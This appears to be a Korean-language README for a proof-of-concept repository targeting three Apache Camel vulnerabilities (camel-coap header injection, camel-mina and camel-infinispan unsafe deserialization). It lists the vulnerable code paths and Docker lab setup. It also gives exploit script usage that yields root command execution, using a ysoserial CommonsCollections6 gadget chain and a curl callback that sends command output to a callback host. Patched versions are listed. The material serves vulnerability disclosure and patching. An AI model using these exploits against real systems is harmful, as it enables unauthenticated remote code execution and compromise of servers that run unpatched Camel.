
세 가지 주요 Apache Camel 취약점에 대한 작동하는 개념 증명 익스플로잇과 상세 분석을 제공하며, CoAP 헤더 주입 및 원격 코드 실행으로 이어지는 안전하지 않은 역직렬화를 포함합니다.
| CVE | 구성 요소 | 유형 | CVSS | 평가 |
|---|
| CVE-2026-33453 | camel-coap | 헤더 주입 → 원격 코드 실행 | 10.0 치명적 | 악용 가능 |
| CVE-2026-40473 | camel-mina | 안전하지 않은 역직렬화 → 원격 코드 실행 | 9.8 치명적 | 악용 가능 |
| CVE-2026-40858 | camel-infinispan | 안전하지 않은 역직렬화 | 8.8 높음 | 악용 가능 |
구성 요소: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (객체 속성의 부적절한 제어 수정)
수정 버전: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest()는 CoAP URI 쿼리 매개변수를 HeaderFilterStrategy 없이 setHeader()를 통해 Camel Exchange 헤더에 직접 매핑합니다. CoAPEndpoint는 DefaultHeaderFilterStrategyEndpoint 대신 DefaultEndpoint를 확장하므로, 인증되지 않은 모든 클라이언트가 Camel* 접두사가 붙은 내부 헤더를 주입할 수 있습니다.
라우트가 camel-exec로 전달될 때, 공격자가 제어하는 CamelExecCommandExecutable 및 CamelExecCommandArgs 헤더가 구성된 명령을 덮어써서 단일 UDP 패킷으로 사전 인증 원격 코드 실행을 달성합니다.
// CamelCoapResource.java:103-109 — HeaderFilterStrategy 없음
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] 응답: 2.05
[+] 명령 출력: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] 명령 출력: app bin boot dev etc home lib ...
구성 요소: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화)
수정 버전: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer)는 ObjectInputFilter 없이 원시 java.io.ObjectInputStream을 생성합니다. MINA 엔드포인트가 allowDefaultCodec=false로 구성되면 원시 TCP 데이터가 IoBuffer로 도착하여 Camel의 타입 변환기에 도달하고, 이 메서드가 호출되어 공격자가 제어하는 네트워크 바이트를 필터링되지 않은 ObjectInputStream으로 감쌉니다.
// MinaConverter.java:60-63 — ObjectInputFilter 없음
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // 공격자가 제어하는 바이트, 필터 없음
}
공격 경로: 익스플로잇은 allowDefaultCodec=false(PoC에서 포트 9879)로 구성된 MINA TCP 엔드포인트를 대상으로 합니다. 이는 MINA의 코덱 계층을 완전히 우회합니다 — ObjectSerializationCodecFactory에는 임의 클래스를 차단하는 자체 ClassNameMatcher 허용 목록이 있습니다. 코덱이 비활성화되면 원시 바이트가 MinaConverter.toObjectInput()으로 직접 흘러 들어가며, 이 메서드는 클래스 필터링이 전혀 없는 표준 ObjectInputStream을 생성합니다.
CommonsCollections6 가젯 체인(ysoserial을 통해)은 루트 권한으로 임의 명령 실행을 달성합니다. 명령 출력은 공격자에게 curl 콜백을 통해 유출됩니다.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] 명령 출력:
uid=0(root) gid=0(root) groups=0(root)
[+] 확인됨: CVE-2026-40473 RCE — 역직렬화를 통해 명령 실행
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] 명령 출력:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6 가젯)cd poc/
docker compose up -d --build
컨테이너가 시작될 때까지 기다린 후 확인합니다:
docker logs vuln-camel-mina
다음과 같은 출력이 표시되어야 합니다:

[*] 취약한 MINA 서버 시작됨
[*] 포트 9877: transferExchange (Java 역직렬화) 엔드포인트
[*] 포트 9878: 객체 직렬화 코덱 엔드포인트
[*] 포트 9879: 원시 TCP (MinaConverter.toObjectInput) 엔드포인트
[*] 연결 대기 중...
포트 9879가 대상입니다 — allowDefaultCodec=false를 사용하여 MINA의 코덱 필터를 비활성화하고 원시 IoBuffer가 Camel의 필터링되지 않은 MinaConverter.toObjectInput()에 도달하도록 합니다.
먼저 엔드포인트가 ObjectInputFilter 없이 임의 Java 객체를 수락하고 역직렬화하는지 확인합니다:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] 프로브 모드 — 역직렬화 확인 중 (RCE 없음)
[*] 페이로드: HashMap (82바이트, 원시 — MINA 프레임 없음)
[+] MINA 엔드포인트에 연결됨
[+] 페이로드 전송됨
[+] 데이터가 필터 거부 없이 readObject()에 도달함
프로브는 직렬화된 HashMap을 전송합니다. 서버는 InvalidClassException 없이 ObjectInputStream.readObject()를 통해 이를 역직렬화합니다 — 클래스 필터링이 전혀 없음을 확인합니다.
ysoserial을 사용할 수 있으면 필터링되지 않은 역직렬화를 악용하여 임의 명령을 실행합니다:
# 'id' 실행 — uid=0(root) 반환
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# 파일 읽기
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# 시스템 정보
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
익스플로잇은 CommonsCollections6 가젯 체인을 생성하여 포트 9879로 원시 바이트로 전송하고 curl 콜백 리스너를 통해 명령 출력을 캡처합니다.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target 대상 IP/호스트명
port MINA TCP 포트 (기본값: 9879)
command 실행할 명령 (기본값: id)
--ysoserial ysoserial.jar 경로 (설정하지 않으면 자동 감지)
--callback-host 컨테이너가 사용자에게 도달하는 호스트 (기본값: host.docker.internal)
--gadget ysoserial 가젯 체인 (기본값: 자동 — CC6, CC5, CC1 시도)
--probe 프로브 모드만 — RCE 없이 역직렬화 확인
--raw MINA 4바이트 프레임 없이 원시 페이로드 전송 (포트 9879에서 자동 활성화)
참고: --callback-host는 기본적으로 host.docker.internal(Docker Desktop)로 설정됩니다. Docker Desktop 없이 Linux에서 실행하는 경우 --callback-host 172.17.0.1 또는 Docker 브리지 IP를 사용하세요.
cd poc/
docker compose down
구성 요소: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화)
수정 버전: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[])는 ObjectInputFilter 없이 ClassLoadingAwareObjectInputStream을 생성합니다. DefaultExchangeHolderProtoAdapter는 Infinispan 캐시 바이트를 이 메서드로 직접 라우팅합니다. 캐시 쓰기 권한(Hot Rod 포트 11222 또는 REST API)이 있는 공격자는 악성 직렬화 페이로드를 주입하며, 이는 집계 저장소가 키를 가져올 때 역직렬화됩니다.
이는 CVE-2024-22369, CVE-2024-23114 및 CVE-2026-25747과 동일한 취약점 패턴입니다 — Camel의 역직렬화 경로에서 ObjectInputFilter 없이 readObject()를 사용하는 수정되지 않은 모든 인스턴스입니다.
// DefaultExchangeHolderUtils.java:46-53 — ObjectInputFilter 없음
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // 공격자가 제어
}
}


cd poc/
docker compose up -d --build
다음이 시작됩니다:
vuln-camel-coap — camel-exec 라우트가 있는 UDP 포트 5683의 CoAP 엔드포인트vuln-camel-mina — 포트 9877(transferExchange), 9878(ObjectSerializationCodecFactory) 및 9879(원시 TCP — 주요 공격 대상)의 MINA TCP 엔드포인트infinispan — 포트 11222의 Infinispan 서버vuln-camel-infinispan — Infinispan 기반 Camel 집계 저장소# CVE-2026-33453: CoAP 헤더 주입 → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA 안전하지 않은 역직렬화 → RCE (위의 자세한 지침 참조)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan 안전하지 않은 역직렬화
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
이 평가는 RAPTOR 자율 보안 연구 프레임워크를 사용하여 수행되었습니다:
camel-coap, camel-mina, camel-infinispan)을 통해 취약한 구성 요소 다운로드/scan) — 3개 구성 요소 전체에 걸친 자동 취약점 발견/understand --map) — 공격 표면 매핑: 진입점, 신뢰 경계, 싱크, 검사되지 않은 데이터 흐름/validate) — 3개 발견 사항 모두 실제, 도달 가능, 악용 가능함을 확인하는 전체 8단계 악용 가능성 검증 파이프라인(0단계 → A → B → C → D → E → F → 1단계)/exploit) — Docker 기반 테스트 환경에서 작동하는 PoC 개발| CVE | 수정 버전 | 변경 사항 |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → DefaultHeaderFilterStrategyEndpoint 확장; CoAPComponent → HeaderFilterStrategyComponent 구현 |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | readObject() 전에 ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") 추가 |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | ObjectInputFilter 허용 목록 추가(동일 패턴); 구성된 경우 JVM 직렬 필터로 대체 |
이 연구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 모든 익스플로잇은 취약한 소프트웨어를 실행하는 로컬 빌드 Docker 컨테이너에서 테스트되었습니다. 위에 나열된 수정 버전으로 업그레이드하세요.